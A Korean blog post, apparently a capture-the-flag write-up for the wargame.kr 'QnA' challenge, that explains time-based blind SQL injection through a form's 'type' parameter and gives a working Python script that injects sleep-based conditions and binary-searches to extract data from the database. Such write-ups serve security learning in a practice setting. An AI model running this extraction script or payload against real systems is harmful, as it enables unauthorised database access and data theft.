Notice
Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Archives
Today
Total
관리 메뉴

White Security

[wargame.kr] QnA 문제풀이 본문

Wargame Writeups/wargame.kr

[wargame.kr] QnA 문제풀이

POSIX 2019. 1. 24. 16:22

wargame.kr 사이트의 25번째 문제입니다.



Time based SQL Injection 문제

INSERT 쿼리 실행결과를 확인할 수 없더라도

SQL Injection 공격은 할 수 있습니다.



링크에 접속하면 자바스크립트로 효과를 넣어둔

텍스트 효과가 눈에 띕니다.


상단에 메뉴가 4개 존재하는데

조작이 가능한 곳은 맨우측의 JSMaster 페이지 뿐입니다.



관리자에게 보낼 메시지를 적을 수 있도록 되어 있는데

작성하고 send를 누르면 테이블에 저장이 되는 모양입니다.



전송하고 나면

쿼리의 실행 완료 메시지를 받아볼 수 있습니다.



type 파라미터 sleep 함수를 끼워넣으니 잘 작동합니다.



내부에 if문으로 둘러서 응답에 1초 이상이

걸린다면 조건식 결과가 참이라는 것을 확인할 수 있겠네요.


from urllib import request, parse
from time import time
import math, sys

def if_query(query):
	data = parse.urlencode({
		'cont' : '',
		'mail' : '',
		'type' : 'sleep(if(' + query + ',3,0))'
		}).encode()

	begin = time()
	req = request.Request('http://wargame.kr:8080/qna/?page=to_jsmaster', data = data)
	response = request.urlopen(req)
	end = time()

	return end - begin >= 3

def check_greater_than(query, val):
	return if_query(query + '>=' + str(val))

def find_char(query):
	first = 0
	last = 129
	
	while first < last - 1:
		mid = math.floor((first + last) / 2)
	
		if check_greater_than(query, mid):
			first = mid
		else:
			last = mid
			
	return chr(first)

def get_length(query):
	first = 0
	last = 65
	
	query = 'length(' + query + ')'
	
	while first < last - 1:
		mid = math.floor((first + last) / 2)
	
		if check_greater_than(query, mid):
			first = mid
		else:
			last = mid
	
	return first

def get_content(name):
	name = '(' + name + ')'
	content_len = get_length(name);
	content = ''
	
	if content_len == 0:	
		sys.stdout.write('Invalid request\n')
		return ''
		
	for idx in range(1, content_len + 1):
		content += find_char('ascii(substr(' + name + ', ' + str(idx) + ', 1))')
		sys.stdout.write('\r[' + str(content_len) + '] ' + content + '_' * (content_len - len(content)))
	
	sys.stdout.write('\n')
	return content



if len(sys.argv) < 2:
	sys.stdout.write('Using: ' + sys.argv[0] + ' \n')
	exit()

content = get_content(' '.join(sys.argv[1:]))

 



Comments